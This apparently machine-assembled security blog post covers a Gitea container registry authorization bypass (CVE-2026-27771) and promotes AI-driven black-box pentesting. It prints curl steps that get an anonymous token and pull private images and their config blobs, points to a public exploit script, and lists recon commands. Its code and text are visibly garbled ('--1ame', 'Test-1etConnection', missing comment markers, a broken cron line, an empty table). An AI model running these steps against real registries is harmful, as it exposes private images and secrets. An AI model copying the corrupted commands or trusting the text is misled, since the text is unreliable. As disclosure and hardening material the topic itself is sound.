AI-Powered Black-Box Pentesting Uncovers Critical Vulnerability In TryHackMe And Gitea + Video

Introduction

The cybersecurity industry is witnessing a paradigm shift as artificial intelligence agents increasingly augment—and in some cases, surpass—traditional human-led penetration testing methodologies. In a landmark demonstration of AI’s offensive security capabilities, TryHackMe founder Ben Spring recently disclosed that a scheduled AI-powered black-box penetration test conducted by NoScope successfully identified a critical authorization vulnerability that had eluded multiple traditional security assessments, including white-box code reviews, conventional pentests, and a paid bug bounty program. The vulnerability, tracked as CVE-2026-27771, exposed private container images across approximately 30,000 Gitea instances worldwide, affecting organizations in healthcare, aerospace, and retail sectors. This incident underscores the fundamental limitation of code-isolated security reviews and validates the emerging consensus that continuous, agent-driven black-box testing represents an essential security layer in modern DevSecOps pipelines.

Learning Objectives & Secrets

Objective 1: Understand the Black-Box vs. White-Box Testing Gap — Learn why white-box assessments with full code access can miss vulnerabilities that manifest only at runtime, including misconfigurations, service interactions, and authentication bypasses that depend on live application state.
Objective 2 Secret Tip: Leverage AI Agents for Continuous Coverage — Configure AI pentesting agents to trigger on CI/CD events, schedule regular assessments, and investigate emerging vulnerabilities automatically. NoScope demonstrates that deploy-triggered testing, combined with always-on monitoring, catches issues that periodic manual assessments miss.
Objective 3 Secret Tip: Adopt a Layered Security Assessment Strategy — Maintain both white-box and black-box testing regimes. White-box assessments excel at identifying code-level flaws, business logic errors, and insecure implementations, while black-box testing validates the entire production environment, including configuration drift, service dependencies, and live data exposure.

You Should Know

1. Understanding CVE-2026-27771: Gitea Container Registry Authorization Bypass

The vulnerability discovered by NoScope resides in Gitea’s built-in OCI container registry, affecting all versions prior to 1.26.2. The root cause lies in the `ReqContainerAccess` middleware function (routers/api/packages/container/container.go), which only checks whether the request has an authenticated user (ctx.Doer) and whether `RequireSignInViewStrict` is enabled. Critically, the middleware does not verify the container package owner’s visibility setting (VisibleTypePublic, VisibleTypeLimited, or VisibleTypePrivate).

This flaw allows an unauthenticated attacker—represented as a ghost user with UserID: -1—to obtain an anonymous token from the `/v2/token` endpoint without credentials when `RequireSignInViewStrict` is false. The attacker can then pull private container images using standard Docker/OCI API endpoints (/v2/<name>/manifests/<ref> and /v2/<name>/blobs/<digest>).

The vulnerability went undetected for approximately four years. According to NoScope’s Shodan-based analysis, over 34,000 internet-facing Gitea instances were identified, with approximately 93% (31,750) likely vulnerable. Of these, roughly 4,000 were production systems running on major cloud or VPS platforms.

Exploitation Steps (Authorized Testing Only)

The following steps demonstrate how an attacker could exploit CVE-2026-27771 against a vulnerable Gitea instance. Only test against systems you own or have explicit written permission to test.

Linux/macOS:

 Step 1: Identify vulnerable Gitea instance
 Check version (vulnerable if < 1.26.2)
curl -s https://target-gitea.com/api/v1/version | jq '.version'

Step 2: Obtain anonymous token from /v2/token endpoint
TOKEN=$(curl -s "https://target-gitea.com/v2/token?scope=" | jq -r '.token')
echo "Anonymous token: $TOKEN"

Step 3: List available container repositories
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target-gitea.com/v2/_catalog" | jq '.repositories[]'

Step 4: List tags for a specific private repository
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target-gitea.com/v2/<owner>/<repo>/tags/list" | jq '.tags[]'

Step 5: Pull manifest of private container image
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target-gitea.com/v2/<owner>/<repo>/manifests/<tag>" | jq '.'

Step 6: Extract configuration and layers from manifest
 The manifest contains blob digests that can be downloaded
MANIFEST=$(curl -s -H "Authorization: Bearer $TOKEN" \
"https://target-gitea.com/v2/<owner>/<repo>/manifests/<tag>")
BLOB_DIGEST=$(echo $MANIFEST | jq -r '.config.digest')

Step 7: Download the configuration blob (often contains secrets)
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target-gitea.com/v2/<owner>/<repo>/blobs/$BLOB_DIGEST" | jq '.'

Using the Public PoC Script:

A public proof-of-concept exploit script is available at github.com/portbuster1337/CVE-2026-27771:

 Clone the PoC repository
git clone https://github.com/portbuster1337/CVE-2026-27771.git
cd CVE-2026-27771

Install dependencies
pip3 install -r requirements.txt

Scan a target for vulnerable repositories and tags
python3 CVE-2026-27771-exploit.py scan https://target-gitea.com

Pull a specific private image
python3 CVE-2026-27771-exploit.py pull https://target-gitea.com <owner>/<repo>:<tag>

Mitigation and Remediation

Immediate Workaround (Temporary):

 In gitea/app.ini
[bash]
REQUIRE_SIGNIN_VIEW = true

This setting blocks all anonymous access, including public repositories, effectively closing the exploit path. However, the underlying permission model remains broken—any authenticated user can still access all packages.

Permanent Fix:

Upgrade to Gitea version 1.26.2 or higher, which contains two critical fixes:
– PR 37290: Conditional `Basic realm` header and per-owner visibility check in the authentication challenge
– PR 37610: Package visibility labels and Composer source permission checks

 Docker-based upgrade
docker pull gitea/gitea:1.26.2
docker stop gitea
docker rm gitea
docker run -d --1ame=gitea --restart=always \
-v /path/to/gitea:/data \
-p 3000:3000 \
gitea/gitea:1.26.2

Verify upgrade
curl -s https://your-gitea.com/api/v1/version | jq '.version'
 Should return "1.26.2" or higher

2. Configuring Continuous AI-Powered Black-Box Pentesting

NoScope’s platform demonstrates a new operational model for security testing: continuous, agent-driven black-box assessment that integrates directly into development workflows. The platform deploys swarms of AI pentesting agents that autonomously explore web applications across pages, inputs, and workflows, achieving coverage that exceeds human-led testing.

NoScope Platform Overview

The NoScope platform operates through a straightforward workflow:

App & Trigger Setup: Connect the target application, provide context, configure safety limits, and define triggers (CI/CD events, schedule, manual runs, or emerging vulnerability alerts)
Autonomous Attack: When any trigger activates, hundreds of AI agents launch simultaneously to pentest the application
Validation & Remediation: Security teams assess and prioritize findings, with developers receiving either manual fix instructions or automated pull requests

According to NoScope, the platform can deliver results in hours rather than days, with unlimited retests and automatic remediation capabilities. The company notes that “NoScope frequently surfaced interesting edge-case vulnerabilities that might otherwise have gone unnoticed”.

Integration with CI/CD Pipelines

 Example GitHub Actions workflow for automated AI pentesting
 .github/workflows/ai-pentest.yml
name: AI Security Assessment

on:
push:
branches: [main, production]
schedule:
- cron: '0 0   0'  Weekly scan every Sunday

jobs:
ai-pentest:
runs-on: ubuntu-latest
steps:
- name: Trigger NoScope AI Pentest
run: |
curl -X POST https://api.noscope.com/v1/pentests \
-H "Authorization: Bearer ${{ secrets.NOSCOPE_API_KEY }}" \
-H "Content-Type: application/json" \
-d '{
"target": "${{ secrets.TARGET_URL }}",
"scope": "full-application",
"trigger": "ci-cd"
}'

<ul>
<li>name: Wait for Results
run: |
sleep 300  Allow time for initial scan
curl -X GET https://api.noscope.com/v1/pentests/latest \
-H "Authorization: Bearer ${{ secrets.NOSCOPE_API_KEY }}"

3. White-Box vs. Black-Box Testing: Why Both Matter

The TryHackMe vulnerability case illustrates a critical lesson: white-box assessments with full source code access and black-box testing of live applications serve fundamentally different purposes and should be used in tandem.

| Aspect | White-Box Testing | Black-Box Testing |

|–|-|-|

Ben Spring emphasized: “White-box assessments are still important and you should use both (we do)—I’m just highlighting the value black-box AI pentesting adds”.

Practical Implementation

Linux Command for Infrastructure Reconnaissance (Black-Box):

 Comprehensive subdomain enumeration
amass enum -d target.com -o subdomains.txt

Port scanning with service detection
nmap -sV -sC -p- -T4 target.com -oA nmap_scan

Web application fingerprinting
whatweb https://target.com --aggression=3

Directory and file enumeration
gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,js

Cloud infrastructure discovery
 AWS public S3 buckets
aws s3 ls s3://target-bucket --1o-sign-request

Kubernetes service exposure
kubectl get services --all-1amespaces -o wide

Windows PowerShell for Black-Box Testing:

 Port scanning (using Test-1etConnection)
1..65535 | ForEach-Object {
if (Test-1etConnection -ComputerName target.com -Port $_ -WarningAction SilentlyContinue -ErrorAction SilentlyContinue) {
Write-Host "Port $_ is open"
}
}

Web application fingerprinting (Invoke-WebRequest)
$response = Invoke-WebRequest -Uri "https://target.com" -UseBasicParsing
$response.Headers | Format-Table

Directory enumeration using custom wordlist
$wordlist = Get-Content .\common.txt
foreach ($dir in $wordlist) {
try {
$url = "https://target.com/$dir"
$resp = Invoke-WebRequest -Uri $url -UseBasicParsing -ErrorAction Stop
Write-Host "Found: $url"
} catch {}
}

4. API Security Hardening for Container Registries

The Gitea vulnerability specifically impacted the OCI container registry API, highlighting the importance of API security hardening for artifact repositories. Organizations running self-hosted container registries should implement the following security controls:

Nginx Reverse Proxy Configuration for Container Registry

 /etc/nginx/sites-available/registry
server {
listen 443 ssl http2;
server_name registry.your-company.com;

ssl_certificate /etc/letsencrypt/live/registry/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/registry/privkey.pem;

Rate limiting to prevent brute-force
limit_req_zone $binary_remote_addr zone=registry:10m rate=5r/s;
limit_req zone=registry burst=10;

Authentication enforcement
location /v2/ {
 Require authentication for all registry operations
auth_basic "Container Registry";
auth_basic_user_file /etc/nginx/.htpasswd;

Additional header security
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;

proxy_pass http://localhost:5000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}

Token endpoint protection
location /v2/token {
 Restrict token issuance to authenticated requests
auth_basic "Token Endpoint";
auth_basic_user_file /etc/nginx/.htpasswd;
proxy_pass http://localhost:5000;
}

Audit logging
access_log /var/log/nginx/registry-access.log;
error_log /var/log/nginx/registry-error.log;
}

Gitea-Specific Security Hardening

 gitea/app.ini - Security Hardening Configuration

[bash]
 Enable two-factor authentication
ENABLE_TWO_FACTOR = true

Require email confirmation for new accounts
REGISTER_EMAIL_CONFIRM = true

Enable reCAPTCHA for registration
ENABLE_CAPTCHA = true
RECAPTCHA_SECRET = your_secret
RECAPTCHA_SITEKEY = your_sitekey

[bash]
 Require sign-in for viewing (mitigates CVE-2026-27771-style issues)
REQUIRE_SIGNIN_VIEW = true

Disable self-registration for enterprise environments
DISABLE_REGISTRATION = true

Enable all repository visibility types (public, limited, private)
DEFAULT_ORG_VISIBILITY = private

[bash]
 Enable repository signing
ENABLE_SIGNING = true
DEFAULT_TRUST_MODEL = collaborator

[bash]
 Enable package registry with strict permissions
ENABLED = true
LIMIT_TOTAL_OWNER_COUNT = 1000
LIMIT_TOTAL_OWNER_SIZE = 10G

5. Automated Vulnerability Scanning with Nuclei Templates

Security teams can proactively scan for CVE-2026-27771 using Nuclei, the open-source vulnerability scanner. A dedicated Nuclei template has been published for this vulnerability:

 Install Nuclei
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

Update vulnerability templates
nuclei -update-templates

Scan for CVE-2026-27771 specifically
nuclei -target https://target-gitea.com -t cves/2026/CVE-2026-27771

Scan all Gitea-related vulnerabilities
nuclei -target https://target-gitea.com -t technologies/gitea/

Comprehensive scan with all templates
nuclei -target https://target-gitea.com -severity critical,high,medium -o scan_results.txt

6. Cloud-1ative Container Registry Security Audit

For organizations using cloud-1ative container registries (AWS ECR, Google Artifact Registry, Azure Container Registry), the following audit procedures help identify misconfigurations similar to CVE-2026-27771:

AWS ECR Security Audit:

 List all ECR repositories
aws ecr describe-repositories --region us-east-1

Check repository policies for public access
aws ecr get-repository-policy --repository-1ame your-repo --region us-east-1

Scan images for vulnerabilities
aws ecr start-image-scan --repository-1ame your-repo --image-id imageTag=latest

Enable lifecycle policies to remove old images
aws ecr put-lifecycle-policy --repository-1ame your-repo \
--lifecycle-policy-text '{"rules":[{"rulePriority":1,"description":"Remove old images","selection":{"tagStatus":"any","countType":"sinceImagePushed","countUnit":"days","countNumber":90},"action":{"type":"expire"}}]}'

Audit IAM permissions for ECR access
aws iam simulate-principal-policy --policy-source-arn arn:aws:iam::account-id:user/username \
--action-1ames ecr:GetAuthorizationToken ecr:BatchGetImage ecr:GetDownloadUrlForLayer

Google Artifact Registry Security Audit:

 List repositories
gcloud artifacts repositories list --location=us-central1

Check IAM policies
gcloud artifacts repositories get-iam-policy your-repo --location=us-central1

Enable vulnerability scanning
gcloud artifacts repositories update your-repo --location=us-central1 \
--vulnerability-scanning=enabled

Audit public access
gcloud artifacts repositories get-iam-policy your-repo --location=us-central1 \
--format='json' | jq '.bindings[] | select(.members[] | contains("allUsers"))'

What Undercode Say

Key Takeaway 1: AI Agents Uncover What Humans Miss — The TryHackMe vulnerability demonstrates that AI-powered black-box pentesting can identify security flaws that evade traditional white-box assessments, bug bounties, and manual pentests. Organizations should integrate AI agents into their security testing regimen as a complementary layer, not a replacement.
Key Takeaway 2: Continuous Testing Is the New Standard — As development velocity accelerates with AI-assisted coding, security assessments must shift from periodic engagements to continuous, event-triggered validation. NoScope’s deploy-triggered testing model, combined with scheduled assessments and emerging vulnerability monitoring, provides the coverage necessary to maintain security at modern development speeds.

The Gitea CVE-2026-27771 incident carries profound implications for the cybersecurity industry. The vulnerability’s four-year undetected presence across approximately 30,000 production deployments illustrates the systemic challenge of securing self-hosted infrastructure at scale. The fact that container images—frequently containing source code, credentials, and infrastructure details—were accessible without authentication represents a supply chain risk of significant magnitude.

NoScope’s discovery validates the thesis that AI agents, trained on millions of user journeys from TryHackMe’s platform, possess unique vulnerability context that enables them to identify attack surfaces human testers might overlook. However, this capability raises important questions about data usage and consent—TryHackMe’s use of user data to train NoScope has generated controversy within the cybersecurity community.

For security practitioners, the actionable takeaway is clear: implement layered security assessment strategies that combine white-box code review, traditional black-box testing, and continuous AI-powered assessment. The threat landscape has evolved—attackers are already using AI-powered cyber capabilities—and defenders must adopt equally sophisticated tools to maintain parity.

Prediction

+1 AI-powered black-box pentesting will become a standard component of enterprise DevSecOps pipelines within 24–36 months, driven by the demonstrated ability of AI agents to identify vulnerabilities missed by traditional assessments.
+1 The success of NoScope’s continuous testing model will accelerate the development of similar AI-powered security platforms, creating a new category of security tools that combine autonomous reconnaissance, exploitation, and remediation capabilities.
-1 The controversy surrounding TryHackMe’s use of user data to train NoScope may lead to increased regulatory scrutiny of how cybersecurity training platforms utilize user-generated data for commercial AI products, potentially resulting in stricter data protection requirements.
-1 Organizations that fail to adopt continuous, AI-powered black-box testing will face increased risk of undetected vulnerabilities that attackers can exploit, particularly as AI-powered offensive capabilities become more accessible to threat actors.
+1 The Gitea vulnerability disclosure will drive increased adoption of automated vulnerability scanning tools like Nuclei and push container registry vendors to implement more robust permission models by default, reducing the attack surface of self-hosted artifact repositories.
-1 The four-year window of exposure for CVE-2026-27771 suggests that many organizations may have already had private container images exfiltrated without their knowledge, potentially leading to delayed breach disclosures as organizations conduct retrospective forensic analysis.

▶️ Related Video (88% Match):

https://www.youtube.com/watch?v=5TP7WFw2seU

🎯Let’s Practice For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

IT/Security Reporter URL:

Reported By: https://lnkd.in/p/erPBR6Ug – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky

Listen to this Post